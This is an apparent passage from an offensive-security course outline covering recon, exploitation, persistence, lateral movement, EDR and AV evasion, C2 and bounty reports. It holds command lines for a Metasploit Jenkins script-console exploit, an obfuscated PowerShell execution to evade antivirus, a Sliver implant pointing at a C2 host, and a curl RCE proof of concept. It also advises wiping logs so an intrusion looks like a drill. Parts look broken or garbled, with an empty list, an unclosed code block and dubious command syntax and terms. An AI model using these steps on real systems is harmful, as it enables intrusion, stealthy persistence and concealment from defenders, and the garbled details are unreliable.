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• OSINT like a pro: Leveraging tools like theHarvester, Maltego, and SpiderFoot to map organizations *before* you even touch a keyboard.
• Passive vs. Active Recon: When to be stealthy, when to burn bright.
• Example Workflow:

bash
 # Basic theHarvester scan (email, subdomains, employee data)
 theHarvester -d target.com -b all -l 50

• Pro Tip: Always check crt.sh for expired certs—goldmine for subdomain discovery.

• Metasploit? Only if you’re lazy. We’ll use custom scripts, PowerShell, and manual exploitation for stealth.
• Key Vectors:

• Example: Exploiting a vulnerable Jenkins instance:

bash
 searchsploit jenkins
 msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS <TARGET_IP>; exploit"

• Persistence: How to stay in a network without tripping SIEMs (e.g., LSASS hollowing, NTDS.dit extraction).
• Lateral Movement: Abusing WinRM, PSExec, and kerberoasting to pivot.
• Cleanup: Wiping logs, removing artifacts, and making it look like a blue team drill.
• Toolkit:

powershell
 # Invoke-Obfuscation for evading AV
 Invoke-Obfuscation -Command "whoami" -ObfuscationType "Base64" | Invoke-Expression

• Living-off-the-land (LOLBAS): Using legitimate admin tools for malicious ends.
• C2 Frameworks: Setting up Cobalt Strike (or Sliver) for stealthy command-and-control.
• Evasion: Bypassing EDR/XDR with process injection and direct syscalls.
• Example C2 Payload:

bash
 # Generate a Sliver implant (no AV detection)
 sliver-client -l linux -f http://<C2_IP>:443 -o /tmp/agent

• Structuring reports that executives (not just devs) will read.
• Monetizing findings: How to negotiate bounties and sell PoCs to vendors.
• Template:

markdown
 # [CRITICAL] Unauthenticated RCE in [Vendor] [Product]
 **Impact**: Full system compromise (CVE-XXXX-XXXX pending)
 **Proof of Concept**:
 ```bash
 curl -X POST http://target.com/api --data '{"cmd":"id"}'

• No fake labs. Every technique is tested on real-world targets (with permission).
• No tool worship. We’ll show you how to build your own (e.g., custom PowerShell backdoors).
• No hand-holding. You’ll break things, get stuck, and figure it out—just like in the field.

• A Linux VM (Kali or Parrot OS).
• Basic command-line comfort (if you don’t know grep, curl, or nc, start there).
• Patience. Ethical hacking isn’t about "hacking" a box in 10 minutes—it’s about methodical destruction.